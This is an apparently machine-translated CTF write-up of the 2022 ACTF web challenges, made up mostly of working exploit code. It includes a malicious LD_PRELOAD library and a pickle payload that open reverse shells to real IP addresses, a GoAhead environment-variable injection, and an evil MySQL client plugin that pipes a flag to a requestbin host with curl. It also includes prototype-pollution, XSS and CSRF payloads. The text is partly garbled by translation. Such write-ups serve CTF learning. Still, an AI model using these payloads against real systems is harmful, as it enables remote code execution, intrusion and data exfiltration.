当前位置:网站首页>[2022 actf] Web Topic recurrence
[2022 actf] Web Topic recurrence
2022-07-07 07:45:00 【Snakin_ ya】
gogogo
Examination site :
- goahead Environment variable injection
Problem solving :
see dockerfile The use environment of the problem is goahead5.1.4, Associated with the p God's record of the recurrence of this vulnerability , We have two ways to solve the problem :
- hijacked
LD_PRELOADDynamic link library for - Using environment variable injection RCE
GoAhead Environmental variable injection recurrence stepping on the pit
Law 1 :
hack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void aaanb(void)
{
unsetenv("LD_PRELOAD");
system("touch /tmp/success");
system("/bin/bash -c 'bash -i >& /dev/tcp/1.117.171.248/39543 0>&1'");
}
compile
gcc hack.c -fPIC -s -shared -o hack.so
exp.py
import requests, random
from concurrent import futures
from requests_toolbelt import MultipartEncoder
hack_so = open('hack.so','rb').read()
def upload(url):
m = MultipartEncoder(
fields = {
'file':('1.txt', hack_so,'application/octet-stream')
}
)
r = requests.post(
url = url,
data=m,
headers={
'Content-Type': m.content_type}
)
def include(url):
m = MultipartEncoder(
fields = {
'LD_PRELOAD': '/proc/self/fd/7',
}
)
r = requests.post(
url = url,
data=m,
headers={
'Content-Type': m.content_type}
)
def race(method):
url = 'http://1.117.171.248:10218/cgi-bin/hello'
if method == 'include':
include(url)
else:
upload(url)
def main():
task = ['upload','include'] * 1000
random.shuffle(task) #
with futures.ThreadPoolExecutor(max_workers=5) as executor:
results = list(executor.map(race, task))
if __name__ == "__main__":
main()

Law two :
exp.py
import requests
payload = {
"BASH_FUNC_env%%":(None,"() { cat /flag; exit; }"),
}
r = requests.post("http:/1.117.171.248:10218/cgi-bin/hello",files=payload)
print(r.text)

poorui
Take a brief look at the code logic :
server.js
const apiGetFlag = (ws) => {
username2ws.get('flagbot').send(JSON.stringify({
api: "getflag",
from: ws2username.get(ws)
}))
}
The whole topic passed websockets signal communication , When api by getflag Time passes in flagbot
const handleGetFlag = (from) => {
console.log('[getflag]', from)
if(from === 'admin'){
conn.send(JSON.stringify({
api: 'sendflag',
flag: FLAG,
to: from
}))
}
}
Here we find admin There are no restrictions on login , So let's log in admin Again getflag that will do
{"api":"login","username":"admin"}
{"api":"getflag","to":"flagbot"}

The expected solution :
1.lodash prototype pollution
2.image xss (many ways)
3.make the admin refresh the browser page and goto a third party site which would connect to the websocket server as a client
4.login as admin, getflag and send it to your favorite nc -lvp 1337
Prototype chain pollution :
content: {
type: 'tpl',
data: {
tpl: '<h3>{
{b}}</h3>',
ctx: '{"a":123, "b":123, "__proto__":{"allowImage":true}}'
}
}
xss:
content: {
type: 'image',
data: {
src: 'https://i.picsum.photos/id/220/200/200.jpg?hmac=1eed0JUIOlpc-iGslem_jB1FORVXUdRtOmgpHxDDKZQ',
attrs: {
wow: 1,
dangerouslySetInnerHTML: {
__html: "<img οnerrοr='location.href=`http://evil.com`' src=1>"
}
}
}
}
ToLeSion
Examination site :
- TLS-Poison
- An article takes you to understand TLS Poison attack
- TLS-Poison The way of attack is CTF Utilization practice in
Problem solving :
TLS Poison The attack passed FTPS Passive mode ssrf Go fight Memcached, Due to the use memcache Storage session There is de serialization , write in session The value is pickle Deserialization payload.
Use the tools of the land team to build the environment :
https://github.com/ZeddYu/TLS-poison
install TLS Server
# Install dependencies
sudo apt install git redis
git clone https://github.com/jmdx/TLS-poison.git
# Install rust:
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
cd TLS-poison/client-hello-poisoning/custom-tls
# There will definitely be warnings I didn't clean up :)
cargo build
After the environment is ready, you need to create a forwarder with a certificate 11211 The data of the port is forwarded to 2048 port :
target/debug/custom-tls -p 11211 --verbose --certs
/etc/nginx/ssl/ctf.edisec.net.pem --key
/etc/nginx/ssl/ctf.edisec.net.key forward 2048
And then in 2048 The port has a ftp Used to handle forwarded traffic :
import socketserver, threading,sys
class MyTCPHandler(socketserver.StreamRequestHandler):
def handle(self):
print('[+] connected', self.request, file=sys.stderr)
self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr,flush=True)
self.request.sendall(b'230 Login successful.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 yolo\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 yolo\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'257 "/" is the current directory\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,203)\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,203)\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 Switching to Binary mode.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'125 Data connection already open. Transfer starting.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
# 226 Transfer complete.
self.request.sendall(b'250 Requested file action okay, completed.')
exit()
def ftp_worker():
with socketserver.TCPServer(('0.0.0.0', 2048), MyTCPHandler) as server:
while True:
server.handle_request()
threading.Thread(target=ftp_worker).start()
exp.py
import redis
import pickle,requests
def get_pickle_payload(cmd):
class AAA():
def __reduce__(self):
return (__import__('os').system, (cmd,))
aaa = AAA()
payload = pickle.dumps(aaa)
return payload
def parse(x):
return b'\r\n' + x + b'\r\n'
def set(key, value):
return parse(b'set %s 0 0 %d\n%s' % (key.encode(), len(value), value))
def rce():
r = requests.get(
url = 'http://localhost:10023/?url=ftps://ctf.zjusec.top:8888/'
)
print(r.text)
r = requests.get(
url = 'http://localhost:10023/?url=file:///etc/passwd',
headers={
'Cookie':'session=aaa'
}
)
print(r.text)
def local_set():
payload = get_pickle_payload('/bin/bash -c "bash -i >& /dev/tcp/150.158.58.29/7777 0>&1"')
r = redis.StrictRedis(host='localhost', port=6379, db=0)
redis_payload = set('actfSession:aaa', payload)
print(redis_payload)
r.set('payload', redis_payload)
if __name__ == "__main__":
rce()
myclient
Source code :
<?php
$con = mysqli_init();
$key = $_GET['key'];
$value = $_GET['value'];
if(strlen($value) > 1500){
die('too long');
}
if (is_numeric($key) && is_string($value)) {
mysqli_options($con, $key, $value);
}
mysqli_options($con, MYSQLI_OPT_LOCAL_INFILE, 0);
if (!mysqli_real_connect($con, "127.0.0.1", "test", "test123456", "mysql")) {
$content = 'connect failed';
} else {
$content = 'connect success';
}
mysqli_close($con);
echo $content;
?>
Problem solving :
Use
MYSQLI_INIT_COMMANDOptions +INTO DUMPFILE, Write a evil mysql Client authentication library to/tmp/e10adc3949ba59abbe56e057f20f883eUse
MYSQLI_INIT_COMMANDOptions +INTO DUMPFILEWrite a Defaults To configure , amonggroup=client plugin-dir=/tmp/e10adc3949ba59abbe56e057f20f883eanddefault-auth=<name of library file - extension>Use
MYSQLI_READ_DEFAULT_FILEOption set to/tmp/e10adc3949ba59abbe56e057f20f883e/To load a malicious configuration file , This file will trigger our evil.so , Then the trigger init function .
RCE
evil.c
#include <mysql/client_plugin.h>
#include <mysql.h>
#include <stdio.h>
/* Ubuntu x86_64: apt install libmysqlclient-dev gcc -shared -I /usr/include/mysql/ -o evilplugin.so evilplugin.c NOTE: the plugin_name MUST BE the full name with the directory traversal!!! */
static int evil_init(char * a, size_t b , int c , va_list ds)
{
system("/readflag | curl -XPOST http://dnsdatacheck.7twx8in3gacdrrvq.b.requestbin.net/xxd -d @-");
return NULL;
}
static int evilplugin_client(MYSQL_PLUGIN_VIO *vio, MYSQL *mysql)
{
int res;
res= vio->write_packet(vio, (const unsigned char *) mysql->passwd, strlen(mysql->passwd) + 1);
return CR_OK;
}
mysql_declare_client_plugin(AUTHENTICATION)
"auth_simple", /* plugin name */
"Author Name", /* author */
"Any-password authentication plugin", /* description */
{
1,0,0}, /* version = 1.0.0 */
"GPL", /* license type */
NULL, /* for internal use */
evil_init, /* no init function */
NULL, /* no deinit function */
NULL, /* no option-handling function */
evilplugin_client /* main function */
mysql_end_client_plugin;
compile :
gcc -shared -I /usr/include/mysql/ -o evilplugin.so evilplugin.c
exp.py
import requests
import random
import string
import codecs
def genName():
return random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters)+ random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters) +random.choice(string.ascii_letters)
url = "http://1.117.171.248:10047/index.php"
shell = open("exp.so","rb").read()
n = 100
chunks = [shell[i:i+n] for i in range(0, len(shell), n)]
print(len(chunks))
prefix = genName()
for idx in range(len(chunks)):
name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx);
chunk = chunks[idx];
x = "0x" +codecs.encode(chunk,'hex').decode()
if idx != 0 and idx != len(chunks)-1:
previus_name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx-1)
sql = f"SELECT concat(LOAD_FILE('{
previus_name}'), {
x}) INTO DUMPFILE '{
name}'"
r = requests.get(url,params={
"key":"3", "value": sql})
print(r.text)
print(name)
elif idx == len(chunks)-1:
previus_name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx-1)
sql = f"SELECT concat(LOAD_FILE('{
previus_name}'), {
x}) INTO DUMPFILE '/tmp/e10adc3949ba59abbe56e057f20f883e/auth_simple.so'"
r = requests.get(url,params={
"key":"3", "value": sql})
print(r.text)
open("name","w").write("auth_simple")
print("auth_simple")
else:
sql = f"SELECT {
x} INTO DUMPFILE '{
name}'"
r = requests.get(url,params={
"key":"3", "value": sql})
print(r.text)
beWhatYouWannaBe
exp.html
<html>
<head>
<title>csrf</title>
</head>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/js-sha256/0.9.0/sha256.js"></script>
<body>
<iframe name=fff srcdoc="<form id=lll name=aaa><input id=ggg value=this_is_what_i_want></input></form><form id=lll></form>"></iframe>
<form id="form" action="http://localhost:8000/beAdmin" method="post">
<input name="username" value="aaa">
<input name="csrftoken" id="csrftoken" value="1">
</form>
<script> function getToken() {
return sha256(Math.sin(Math.floor(Date.now() / 1000)).toString()) } $("#csrftoken").attr("value", getToken()) document.getElementById("form").submit() </script>
</body>
</html>
https://portswigger.net/research/dom-clobbering-strikes-back
Reference resources :
http://www.yongsheng.site/2022/06/30/AAActf/
https://github.com/team-s2/ACTF-2022/tree/main/web
边栏推荐
- BGP experiment (1)
- Talk about seven ways to realize asynchronous programming
- nacos
- The metauniverse of the platofarm farm continues to expand, with Dao governance as the core
- buuctf misc USB
- 外包幹了三年,廢了...
- [webrtc] M98 screen and window acquisition
- [ANSYS] learning experience of APDL finite element analysis
- Interviewer: what development models do you know?
- 四、高性能 Go 语言发行版优化与落地实践 青训营笔记
猜你喜欢

Robot technology innovation and practice old version outline

今日现货白银操作建议

IO stream file

misc ez_ usb

How can a 35 year old programmer build a technological moat?

二、并发、测试笔记 青训营笔记

The configuration that needs to be modified when switching between high and low versions of MySQL 5-8 (take aicode as an example here)

BGP experiment (1)
![[P2P] local packet capturing](/img/4e/e1b60e74bc4c44e453cc832283a1f4.png)
[P2P] local packet capturing
![[webrtc] m98 Screen and Window Collection](/img/b1/1ca13b6d3fdbf18ff5205ed5584eef.png)
[webrtc] m98 Screen and Window Collection
随机推荐
面试结束后,被面试官在朋友圈吐槽了......
nacos
Outsourcing for four years, abandoned
buuctf misc USB
JSON introduction and JS parsing JSON
Live online system source code, using valueanimator to achieve view zoom in and out animation effect
[experience sharing] how to expand the cloud service icon for Visio
按键精灵脚本学习-关于天猫抢红包
一、Go知识查缺补漏+实战课程笔记 | 青训营笔记
Iterable、Collection、List 的常见方法签名以及含义
3、 High quality programming and performance tuning practical youth training camp notes
1141_ SiCp learning notes_ Functions abstracted as black boxes
numpy中dot函数使用与解析
[SUCTF 2019]Game
English translation is too difficult? I wrote two translation scripts with crawler in a rage
Flutter riverpod is comprehensively and deeply analyzed. Why is it officially recommended?
【数学笔记】弧度
Simple example of ros2 planning system plansys2
解决could not find or load the Qt platform plugin “xcb“in ““.
2022-07-06:以下go语言代码是否会panic?A:会;B:不会。 package main import “C“ func main() { var ch chan struct